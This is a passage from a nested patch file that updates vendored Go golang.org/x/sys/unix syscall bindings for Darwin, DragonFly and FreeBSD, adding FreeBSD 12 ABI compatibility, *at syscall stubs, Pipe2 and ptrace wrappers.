-+ if err == ENOMEM {
-+ err = nil
-+ }
-+ }
-+ return err
-+}
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctlUname(mib, &uname.Sysname[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Sysname[unsafe.Sizeof(uname.Sysname)-1] = 0
-+
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctlUname(mib, &uname.Nodename[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Nodename[unsafe.Sizeof(uname.Nodename)-1] = 0
-+
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctlUname(mib, &uname.Release[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Release[unsafe.Sizeof(uname.Release)-1] = 0
-+
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctlUname(mib, &uname.Version[0], &n); err != nil {
-+ return err
-+ }
-+
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctlUname(mib, &uname.Machine[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Machine[unsafe.Sizeof(uname.Machine)-1] = 0
-+
-+ return nil
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
- /*
- * Exposed directly
- */
-@@ -139,16 +254,21 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
- //sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchflags(fd int, flags int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
- //sys Fstatfs(fd int, stat *Statfs_t) (err error)
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
-+//sys Getdents(fd int, buf []byte) (n int, err error)
- //sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error)
- //sys Getdtablesize() (size int)
- //sysnb Getegid() (egid int)
-@@ -169,21 +289,26 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Kqueue() (fd int, err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Link(path string, link string) (err error)
-+//sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
- //sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(fd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
-+//sys Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error)
- //sys Pathconf(path string, name int) (val int, err error)
- //sys read(fd int, p []byte) (n int, err error)
- //sys Readlink(path string, buf []byte) (n int, err error)
- //sys Rename(from string, to string) (err error)
-+//sys Renameat(fromfd int, from string, tofd int, to string) (err error)
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -201,11 +326,13 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Stat(path string, stat *Stat_t) (err error)
- //sys Statfs(path string, stat *Statfs_t) (err error)
- //sys Symlink(path string, link string) (err error)
-+//sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
- //sys Truncate(path string, length int64) (err error)
- //sys Umask(newmask int) (oldmask int)
- //sys Undelete(path string) (err error)
- //sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
- //sys Unmount(path string, flags int) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
-@@ -225,7 +352,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // Getlogin
- // Sigpending
- // Sigaltstack
--// Ioctl
- // Reboot
- // Execve
- // Vfork
-@@ -257,7 +383,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // Searchfs
- // Delete
- // Copyfile
--// Poll
- // Watchevent
- // Waitevent
- // Modwatch
-@@ -403,7 +528,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // Pread_nocancel
- // Pwrite_nocancel
- // Waitid_nocancel
--// Poll_nocancel
- // Msgsnd_nocancel
- // Msgrcv_nocancel
- // Sem_wait_nocancel
-diff --git a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-index da7cb798..a6b4830a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd.go b/vendor/golang.org/x/sys/unix/syscall_freebsd.go
-index d26e52ea..6932e7c2 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd.go
-@@ -12,8 +12,36 @@
-
- package unix
-
--import "unsafe"
-+import (
-+ "sync"
-+ "unsafe"
-+)
-+
-+const (
-+ SYS_FSTAT_FREEBSD12 = 551 // { int fstat(int fd, _Out_ struct stat *sb); }
-+ SYS_FSTATAT_FREEBSD12 = 552 // { int fstatat(int fd, _In_z_ char *path, \
-+ SYS_GETDIRENTRIES_FREEBSD12 = 554 // { ssize_t getdirentries(int fd, \
-+ SYS_STATFS_FREEBSD12 = 555 // { int statfs(_In_z_ char *path, \
-+ SYS_FSTATFS_FREEBSD12 = 556 // { int fstatfs(int fd, \
-+ SYS_GETFSSTAT_FREEBSD12 = 557 // { int getfsstat( \
-+ SYS_MKNODAT_FREEBSD12 = 559 // { int mknodat(int fd, _In_z_ char *path, \
-+)
-+
-+// See https://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/versions.html.
-+var (
-+ osreldateOnce sync.Once
-+ osreldate uint32
-+)
-+
-+// INO64_FIRST from /usr/src/lib/libc/sys/compat-ino64.h
-+const _ino64First = 1200031
-+
-+func supportsABI(ver uint32) bool {
-+ osreldateOnce.Do(func() { osreldate, _ = SysctlUint32("kern.osreldate") })
-+ return osreldate >= ver
-+}
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -32,7 +60,7 @@ func nametomib(name string) (mib []_C_int, err error) {
-
- // NOTE(rsc): It seems strange to set the buffer to have
- // size CTL_MAXNAME+2 but use only CTL_MAXNAME
-- // as the size. I don't know why the +2 is here, but the
-+ // as the size. I don't know why the +2 is here, but the
- // kernel uses +2 for its own implementation of this function.
- // I am scared that if we don't include the +2 here, the kernel
- // will silently write 2 words farther than we specify
-@@ -66,14 +94,21 @@ func direntNamlen(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Namlen), unsafe.Sizeof(Dirent{}.Namlen))
- }
-
--//sysnb pipe() (r int, w int, err error)
--
- func Pipe(p []int) (err error) {
-+ return Pipe2(p, 0)
-+}
-+
-+//sysnb pipe2(p *[2]_C_int, flags int) (err error)
-+
-+func Pipe2(p []int, flags int) error {
- if len(p) != 2 {
- return EINVAL
- }
-- p[0], p[1], err = pipe()
-- return
-+ var pp [2]_C_int
-+ err := pipe2(&pp, flags)
-+ p[0] = int(pp[0])
-+ p[1] = int(pp[1])
-+ return err
- }
-
- func GetsockoptIPMreqn(fd, level, opt int) (*IPMreqn, error) {
-@@ -97,7 +132,7 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- if len > SizeofSockaddrAny {
- panic("RawSockaddrAny too small")
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -105,290 +140,421 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- return
- }
-
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
-+}
-+
- func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- var bufsize uintptr
-+ var (
-+ _p0 unsafe.Pointer
-+ bufsize uintptr
-+ oldBuf []statfs_freebsd11_t
-+ needsConvert bool
-+ )
-+
- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- bufsize = unsafe.Sizeof(Statfs_t{}) * uintptr(len(buf))
-+ if supportsABI(_ino64First) {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ bufsize = unsafe.Sizeof(Statfs_t{}) * uintptr(len(buf))
-+ } else {
-+ n := len(buf)
-+ oldBuf = make([]statfs_freebsd11_t, n)
-+ _p0 = unsafe.Pointer(&oldBuf[0])
-+ bufsize = unsafe.Sizeof(statfs_freebsd11_t{}) * uintptr(n)
-+ needsConvert = true
-+ }
-+ }
-+ var sysno uintptr = SYS_GETFSSTAT
-+ if supportsABI(_ino64First) {
-+ sysno = SYS_GETFSSTAT_FREEBSD12
- }
-- r0, _, e1 := Syscall(SYS_GETFSSTAT, uintptr(_p0), bufsize, uintptr(flags))
-+ r0, _, e1 := Syscall(sysno, uintptr(_p0), bufsize, uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = e1
- }
-+ if e1 == 0 && needsConvert {
-+ for i := range oldBuf {
-+ buf[i].convertFrom(&oldBuf[i])
-+ }
-+ }
- return
- }
-
--// Derive extattr namespace and attribute name
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-
--func xattrnamespace(fullattr string) (ns int, attr string, err error) {
-- s := -1
-- for idx, val := range fullattr {
-- if val == '.' {
-- s = idx
-- break
-- }
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
- }
-
-- if s == -1 {
-- return -1, "", ENOATTR
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
- }
-
-- namespace := fullattr[0:s]
-- attr = fullattr[s+1:]
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
-- switch namespace {
-- case "user":
-- return EXTATTR_NAMESPACE_USER, attr, nil
-- case "system":
-- return EXTATTR_NAMESPACE_SYSTEM, attr, nil
-- default:
-- return -1, "", ENOATTR
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
- }
--}
-
--func initxattrdest(dest []byte, idx int) (d unsafe.Pointer) {
-- if len(dest) > idx {
-- return unsafe.Pointer(&dest[idx])
-- } else {
-- return unsafe.Pointer(_zero)
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
- }
--}
-
--// FreeBSD implements its own syscalls to handle extended attributes
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func Getxattr(file string, attr string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsize := len(dest)
-+ return nil
-+}
-
-- nsid, a, err := xattrnamespace(attr)
-+func Stat(path string, st *Stat_t) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatat_freebsd12(AT_FDCWD, path, st, 0)
-+ }
-+ err = stat(path, &oldStat)
- if err != nil {
-- return -1, err
-+ return err
- }
-
-- return ExtattrGetFile(file, nsid, a, uintptr(d), destsize)
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsize := len(dest)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Lstat(path string, st *Stat_t) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatat_freebsd12(AT_FDCWD, path, st, AT_SYMLINK_NOFOLLOW)
-+ }
-+ err = lstat(path, &oldStat)
- if err != nil {
-- return -1, err
-+ return err
- }
-
-- return ExtattrGetFd(fd, nsid, a, uintptr(d), destsize)
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--func Lgetxattr(link string, attr string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsize := len(dest)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Fstat(fd int, st *Stat_t) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstat_freebsd12(fd, st)
-+ }
-+ err = fstat(fd, &oldStat)
- if err != nil {
-- return -1, err
-+ return err
- }
-
-- return ExtattrGetLink(link, nsid, a, uintptr(d), destsize)
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--// flags are unused on FreeBSD
--
--func Fsetxattr(fd int, attr string, data []byte, flags int) (err error) {
-- d := unsafe.Pointer(&data[0])
-- datasiz := len(data)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Fstatat(fd int, path string, st *Stat_t, flags int) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatat_freebsd12(fd, path, st, flags)
-+ }
-+ err = fstatat(fd, path, &oldStat, flags)
- if err != nil {
-- return
-+ return err
- }
-
-- _, err = ExtattrSetFd(fd, nsid, a, uintptr(d), datasiz)
-- return
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--func Setxattr(file string, attr string, data []byte, flags int) (err error) {
-- d := unsafe.Pointer(&data[0])
-- datasiz := len(data)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Statfs(path string, st *Statfs_t) (err error) {
-+ var oldStatfs statfs_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return statfs_freebsd12(path, st)
-+ }
-+ err = statfs(path, &oldStatfs)
- if err != nil {
-- return
-+ return err
- }
-
-- _, err = ExtattrSetFile(file, nsid, a, uintptr(d), datasiz)
-- return
-+ st.convertFrom(&oldStatfs)
-+ return nil
- }
-
--func Lsetxattr(link string, attr string, data []byte, flags int) (err error) {
-- d := unsafe.Pointer(&data[0])
-- datasiz := len(data)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Fstatfs(fd int, st *Statfs_t) (err error) {
-+ var oldStatfs statfs_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatfs_freebsd12(fd, st)
-+ }
-+ err = fstatfs(fd, &oldStatfs)
- if err != nil {
-- return
-+ return err
- }
-
-- _, err = ExtattrSetLink(link, nsid, a, uintptr(d), datasiz)
-- return
-+ st.convertFrom(&oldStatfs)
-+ return nil
- }
-
--func Removexattr(file string, attr string) (err error) {
-- nsid, a, err := xattrnamespace(attr)
-- if err != nil {
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ return Getdirentries(fd, buf, nil)
-+}
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ if supportsABI(_ino64First) {
-+ if basep == nil || unsafe.Sizeof(*basep) == 8 {
-+ return getdirentries_freebsd12(fd, buf, (*uint64)(unsafe.Pointer(basep)))
-+ }
-+ // The freebsd12 syscall needs a 64-bit base. On 32-bit machines
-+ // we can't just use the basep passed in. See #32498.
-+ var base uint64 = uint64(*basep)
-+ n, err = getdirentries_freebsd12(fd, buf, &base)
-+ *basep = uintptr(base)
-+ if base>>32 != 0 {
-+ // We can't stuff the base back into a uintptr, so any
-+ // future calls would be suspect. Generate an error.
-+ // EIO is allowed by getdirentries.
-+ err = EIO
-+ }
- return
- }
-
-- err = ExtattrDeleteFile(file, nsid, a)
-+ // The old syscall entries are smaller than the new. Use 1/4 of the original
-+ // buffer size rounded up to DIRBLKSIZ (see /usr/src/lib/libc/sys/getdirentries.c).
-+ oldBufLen := roundup(len(buf)/4, _dirblksiz)
-+ oldBuf := make([]byte, oldBufLen)
-+ n, err = getdirentries(fd, oldBuf, basep)
-+ if err == nil && n > 0 {
-+ n = convertFromDirents11(buf, oldBuf[:n])
-+ }
- return
- }
-
--func Fremovexattr(fd int, attr string) (err error) {
-- nsid, a, err := xattrnamespace(attr)
-- if err != nil {
-- return
-+func Mknod(path string, mode uint32, dev uint64) (err error) {
-+ var oldDev int
-+ if supportsABI(_ino64First) {
-+ return mknodat_freebsd12(AT_FDCWD, path, mode, dev)
- }
--
-- err = ExtattrDeleteFd(fd, nsid, a)
-- return
-+ oldDev = int(dev)
-+ return mknod(path, mode, oldDev)
- }
-
--func Lremovexattr(link string, attr string) (err error) {
-- nsid, a, err := xattrnamespace(attr)
-- if err != nil {
-- return
-+func Mknodat(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var oldDev int
-+ if supportsABI(_ino64First) {
-+ return mknodat_freebsd12(fd, path, mode, dev)
- }
-+ oldDev = int(dev)
-+ return mknodat(fd, path, mode, oldDev)
-+}
-
-- err = ExtattrDeleteLink(link, nsid, a)
-- return
-+// round x to the nearest multiple of y, larger or equal to x.
-+//
-+// from /usr/include/sys/param.h Macros for counting and rounding.
-+// #define roundup(x, y) ((((x)+((y)-1))/(y))*(y))
-+func roundup(x, y int) int {
-+ return ((x + y - 1) / y) * y
- }
-
--func Listxattr(file string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsiz := len(dest)
--
-- // FreeBSD won't allow you to list xattrs from multiple namespaces
-- s := 0
-- var e error
-- for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-- stmp, e := ExtattrListFile(file, nsid, uintptr(d), destsiz)
--
-- /* Errors accessing system attrs are ignored so that
-- * we can implement the Linux-like behavior of omitting errors that
-- * we don't have read permissions on
-- *
-- * Linux will still error if we ask for user attributes on a file that
-- * we don't have read permissions on, so don't ignore those errors
-- */
-- if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-- e = nil
-- continue
-- } else if e != nil {
-- return s, e
-- }
-+func (s *Stat_t) convertFrom(old *stat_freebsd11_t) {
-+ *s = Stat_t{
-+ Dev: uint64(old.Dev),
-+ Ino: uint64(old.Ino),
-+ Nlink: uint64(old.Nlink),
-+ Mode: old.Mode,
-+ Uid: old.Uid,
-+ Gid: old.Gid,
-+ Rdev: uint64(old.Rdev),
-+ Atim: old.Atim,
-+ Mtim: old.Mtim,
-+ Ctim: old.Ctim,
-+ Btim: old.Btim,
-+ Size: old.Size,
-+ Blocks: old.Blocks,
-+ Blksize: old.Blksize,
-+ Flags: old.Flags,
-+ Gen: uint64(old.Gen),
-+ }
-+}
-
-- s += stmp
-- destsiz -= s
-- if destsiz < 0 {
-- destsiz = 0
-- }
-- d = initxattrdest(dest, s)
-+func (s *Statfs_t) convertFrom(old *statfs_freebsd11_t) {
-+ *s = Statfs_t{
-+ Version: _statfsVersion,
-+ Type: old.Type,
-+ Flags: old.Flags,
-+ Bsize: old.Bsize,
-+ Iosize: old.Iosize,
-+ Blocks: old.Blocks,
-+ Bfree: old.Bfree,
-+ Bavail: old.Bavail,
-+ Files: old.Files,
-+ Ffree: old.Ffree,
-+ Syncwrites: old.Syncwrites,
-+ Asyncwrites: old.Asyncwrites,
-+ Syncreads: old.Syncreads,
-+ Asyncreads: old.Asyncreads,
-+ // Spare
-+ Namemax: old.Namemax,
-+ Owner: old.Owner,
-+ Fsid: old.Fsid,
-+ // Charspare
-+ // Fstypename
-+ // Mntfromname
-+ // Mntonname
- }
-
-- return s, e
-+ sl := old.Fstypename[:]
-+ n := clen(*(*[]byte)(unsafe.Pointer(&sl)))
-+ copy(s.Fstypename[:], old.Fstypename[:n])
-+
-+ sl = old.Mntfromname[:]
-+ n = clen(*(*[]byte)(unsafe.Pointer(&sl)))
-+ copy(s.Mntfromname[:], old.Mntfromname[:n])
-+
-+ sl = old.Mntonname[:]
-+ n = clen(*(*[]byte)(unsafe.Pointer(&sl)))
-+ copy(s.Mntonname[:], old.Mntonname[:n])
- }
-
--func Flistxattr(fd int, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsiz := len(dest)
-+func convertFromDirents11(buf []byte, old []byte) int {
-+ const (
-+ fixedSize = int(unsafe.Offsetof(Dirent{}.Name))
-+ oldFixedSize = int(unsafe.Offsetof(dirent_freebsd11{}.Name))
-+ )
-+
-+ dstPos := 0
-+ srcPos := 0
-+ for dstPos+fixedSize < len(buf) && srcPos+oldFixedSize < len(old) {
-+ var dstDirent Dirent
-+ var srcDirent dirent_freebsd11
-
-- s := 0
-- var e error
-- for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-- stmp, e := ExtattrListFd(fd, nsid, uintptr(d), destsiz)
-- if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-- e = nil
-- continue
-- } else if e != nil {
-- return s, e
-+ // If multiple direntries are written, sometimes when we reach the final one,
-+ // we may have cap of old less than size of dirent_freebsd11.
-+ copy((*[unsafe.Sizeof(srcDirent)]byte)(unsafe.Pointer(&srcDirent))[:], old[srcPos:])
-+
-+ reclen := roundup(fixedSize+int(srcDirent.Namlen)+1, 8)
-+ if dstPos+reclen > len(buf) {
-+ break
- }
-
-- s += stmp
-- destsiz -= s
-- if destsiz < 0 {
-- destsiz = 0
-+ dstDirent.Fileno = uint64(srcDirent.Fileno)
-+ dstDirent.Off = 0
-+ dstDirent.Reclen = uint16(reclen)
-+ dstDirent.Type = srcDirent.Type
-+ dstDirent.Pad0 = 0
-+ dstDirent.Namlen = uint16(srcDirent.Namlen)
-+ dstDirent.Pad1 = 0
-+
-+ copy(dstDirent.Name[:], srcDirent.Name[:srcDirent.Namlen])
-+ copy(buf[dstPos:], (*[unsafe.Sizeof(dstDirent)]byte)(unsafe.Pointer(&dstDirent))[:])
-+ padding := buf[dstPos+fixedSize+int(dstDirent.Namlen) : dstPos+reclen]
-+ for i := range padding {
-+ padding[i] = 0
- }
-- d = initxattrdest(dest, s)
-+
-+ dstPos += int(dstDirent.Reclen)
-+ srcPos += int(srcDirent.Reclen)
- }
-
-- return s, e
-+ return dstPos
- }
-
--func Llistxattr(link string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsiz := len(dest)
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-
-- s := 0
-- var e error
-- for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-- stmp, e := ExtattrListLink(link, nsid, uintptr(d), destsiz)
-- if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-- e = nil
-- continue
-- } else if e != nil {
-- return s, e
-- }
-+//sys ptrace(request int, pid int, addr uintptr, data int) (err error)
-
-- s += stmp
-- destsiz -= s
-- if destsiz < 0 {
-- destsiz = 0
-- }
-- d = initxattrdest(dest, s)
-- }
-+func PtraceAttach(pid int) (err error) {
-+ return ptrace(PTRACE_ATTACH, pid, 0, 0)
-+}
-
-- return s, e
-+func PtraceCont(pid int, signal int) (err error) {
-+ return ptrace(PTRACE_CONT, pid, 1, signal)
- }
-
--//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+func PtraceDetach(pid int) (err error) {
-+ return ptrace(PTRACE_DETACH, pid, 1, 0)
-+}
-+
-+func PtraceGetFpRegs(pid int, fpregsout *FpReg) (err error) {
-+ return ptrace(PTRACE_GETFPREGS, pid, uintptr(unsafe.Pointer(fpregsout)), 0)
-+}
-
--// ioctl itself should not be exposed directly, but additional get/set
--// functions for specific types are permissible.
-+func PtraceGetRegs(pid int, regsout *Reg) (err error) {
-+ return ptrace(PTRACE_GETREGS, pid, uintptr(unsafe.Pointer(regsout)), 0)
-+}
-+
-+func PtraceLwpEvents(pid int, enable int) (err error) {
-+ return ptrace(PTRACE_LWPEVENTS, pid, 0, enable)
-+}
-+
-+func PtraceLwpInfo(pid int, info uintptr) (err error) {
-+ return ptrace(PTRACE_LWPINFO, pid, info, int(unsafe.Sizeof(PtraceLwpInfoStruct{})))
-+}
-
--// IoctlSetInt performs an ioctl operation which sets an integer value
--// on fd, using the specified request number.
--func IoctlSetInt(fd int, req uint, value int) error {
-- return ioctl(fd, req, uintptr(value))
-+func PtracePeekData(pid int, addr uintptr, out []byte) (count int, err error) {
-+ return PtraceIO(PIOD_READ_D, pid, addr, out, SizeofLong)
- }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+func PtracePeekText(pid int, addr uintptr, out []byte) (count int, err error) {
-+ return PtraceIO(PIOD_READ_I, pid, addr, out, SizeofLong)
- }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+func PtracePokeData(pid int, addr uintptr, data []byte) (count int, err error) {
-+ return PtraceIO(PIOD_WRITE_D, pid, addr, data, SizeofLong)
- }
-
--// IoctlGetInt performs an ioctl operation which gets an integer value
--// from fd, using the specified request number.
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return value, err
-+func PtracePokeText(pid int, addr uintptr, data []byte) (count int, err error) {
-+ return PtraceIO(PIOD_WRITE_I, pid, addr, data, SizeofLong)
- }
-
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func PtraceSetRegs(pid int, regs *Reg) (err error) {
-+ return ptrace(PTRACE_SETREGS, pid, uintptr(unsafe.Pointer(regs)), 0)
- }
-
